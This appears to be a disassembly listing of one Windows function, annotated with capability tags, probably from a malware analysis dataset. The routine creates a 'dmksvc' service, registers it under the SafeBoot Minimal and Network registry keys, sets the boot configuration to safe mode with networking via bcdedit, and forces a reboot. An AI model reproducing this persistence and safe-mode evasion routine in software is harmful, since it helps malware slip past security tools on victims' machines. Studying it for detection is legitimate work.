Function at 0x408d50
Capabilities:
Create process on windows
Create service
Manipulate boot configuration
Manipulate safe mode programs
Persist via windows service
Set registry value

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0x98
mov eax, dword [0x428004]
xor eax, esp
mov dword [esp + 0x94], eax
mov eax, edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
xor ecx, ecx
add eax, 0xfffffffe
mov edx, 2
mul edx
push esi
push edi
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.0040d6b1
mov edi, 1
mov dword [esp + 0x18], eax
add esp, 4
xor esi, esi
cmp dword [esp + 0x10], edi
jle 0x408de3
mov eax, dword [esp + 0xc]
push str.__safe_mode
push dword [eax + edi*4]
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
je 0x408ddc
push 0x104
call fcn.0040d6b1
mov ecx, dword [esp + 0x18]
add esp, 4
mov dword [ecx + esi*4], eax
mov ecx, dword [esp + 0xc]
push dword [ecx + edi*4]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
inc esi
inc edi
cmp edi, dword [esp + 0x10]
jl 0x408da3
push 0x10002
call fcn.0040d6b1
add esp, 4
mov edi, eax
mov dword [esp + 0x10], edi
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push 0x8000
push edi
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push 0x10002
call fcn.0040d6b1
add esp, 4
mov dword [esp + 0xc], eax
push str.__path__
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
xor edi, edi
test esi, esi
jle 0x408e59
nop
mov eax, dword [esp + 0x14]
push dword [eax + edi*4]
push dword [esp + 0x10]
call dword [sym.imp.KERNEL32.dll_lstrcatW]
cmp edi, esi
je 0x408e54
push 0x425694
push dword [esp + 0x10]
call dword [sym.imp.KERNEL32.dll_lstrcatW]
inc edi
cmp edi, esi
jl 0x408e30
push dword [esp + 0x10]
mov ecx, dword [esp + 0x10]
call fcn.004063f0
add esp, 4
mov dword [esp + 0xc], eax
xor edi, edi
test esi, esi
jle 0x408e87
mov eax, dword [esp + 0x14]
push dword [eax + edi*4]
call fcn.0040d6ac
inc edi
add esp, 4
cmp edi, esi
jl 0x408e73
push dword [esp + 0x14]
call fcn.0040d6ac
add esp, 4
push dword [esp + 0x10]
call fcn.0040d6ac
add esp, 4
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
test eax, eax
jne 0x408edd
cmp dword [0x4287b0], eax
je 0x408ec7
push str.____Failed_to_open_Service_Manager__n
call fcn.00404800
add esp, 4
xor eax, eax
pop edi
pop esi
mov ecx, dword [esp + 0x94]
xor ecx, esp
call fcn.004096d4
mov esp, ebp
pop ebp
ret
push 0
push 0
push 0
push 0
push 0
push dword [esp + 0x20]
push 0
push 2
push 0x10
push 0xf01ff
push str.Declared_Configuration_DC__service
push str.dmksvc
push eax
call dword [sym.imp.ADVAPI32.dll_CreateServiceW]
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
call esi
test eax, eax
je 0x408f4b
call esi
cmp eax, 0x431
je 0x408f4b
cmp dword [0x4287b0], 0
je 0x408f35
call esi
push eax
push str.____Failed_to_create_service___d_n
call fcn.00404800
add esp, 8
xor eax, eax
pop edi
pop esi
mov ecx, dword [esp + 0x94]
xor ecx, esp
call fcn.004096d4
mov esp, ebp
pop ebp
ret
movups xmm0, xmmword [str.Service]
push 0
lea eax, [esp + 0x1c]
push eax
push 0
push 0x20006
push 0
push 0
push 0
push str.SYSTEMCurrentControlSetControlSafeBootMinimaldmksvc
push 0x80000002
movups xmmword [esp + 0xa4], xmm0
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
mov edi, dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
lea eax, [esp + 0x80]
push 0x10
push eax
push 1
push 0
push 0
push dword [esp + 0x2c]
call edi
push dword [esp + 0x18]
mov esi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
call esi
push 0
lea eax, [esp + 0x1c]
push eax
push 0
push 0x20006
push 0
push 0
push 0
push str.SYSTEMCurrentControlSetControlSafeBootNetworkdmksvc
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
push 0x10
lea eax, [esp + 0x84]
push eax
push 1
push 0
push 0
push dword [esp + 0x2c]
call edi
push dword [esp + 0x18]
call esi
push 0x44
lea eax, [esp + 0x3c]
push 0
push eax
call fcn.0040a6b0
add esp, 0xc
mov dword [esp + 0x1c], 0
lea eax, [esp + 0x1c]
xorps xmm0, xmm0
movaps xmmword [esp + 0x20], xmm0
push eax
call dword [sym.imp.KERNEL32.dll_Wow64DisableWow64FsRedirection]
mov esi, dword [sym.imp.KERNEL32.dll_CreateProcessW]
lea eax, [esp + 0x20]
push eax
lea eax, [esp + 0x3c]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
push str.bcdedit.exe__set_default_safeboot_network
push str.C:Windows_system32_bcdedit.exe
call esi
test eax, eax
jne 0x409073
cmp dword [0x4287b0], 0
je 0x40905c
mov eax, dword [sym.imp.KERNEL32.dll_GetLastError]
call eax
push eax
push str.____Failed_to_enter_safe_mode___d_n
call fcn.00406110
add esp, 8
or eax, 0xffffffff
pop edi
pop esi
mov ecx, dword [esp + 0x94]
xor ecx, esp
call fcn.004096d4
mov esp, ebp
pop ebp
ret
lea eax, [esp + 0x20]
push eax
lea eax, [esp + 0x3c]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
push str.shutdown.exe__r
push str.C:Windows_system32_shutdown.exe
call esi
test eax, eax
je 0x40903e
mov ecx, dword [esp + 0x9c]
mov eax, 1
pop edi
pop esi
xor ecx, esp
call fcn.004096d4
mov esp, ebp
pop ebp
ret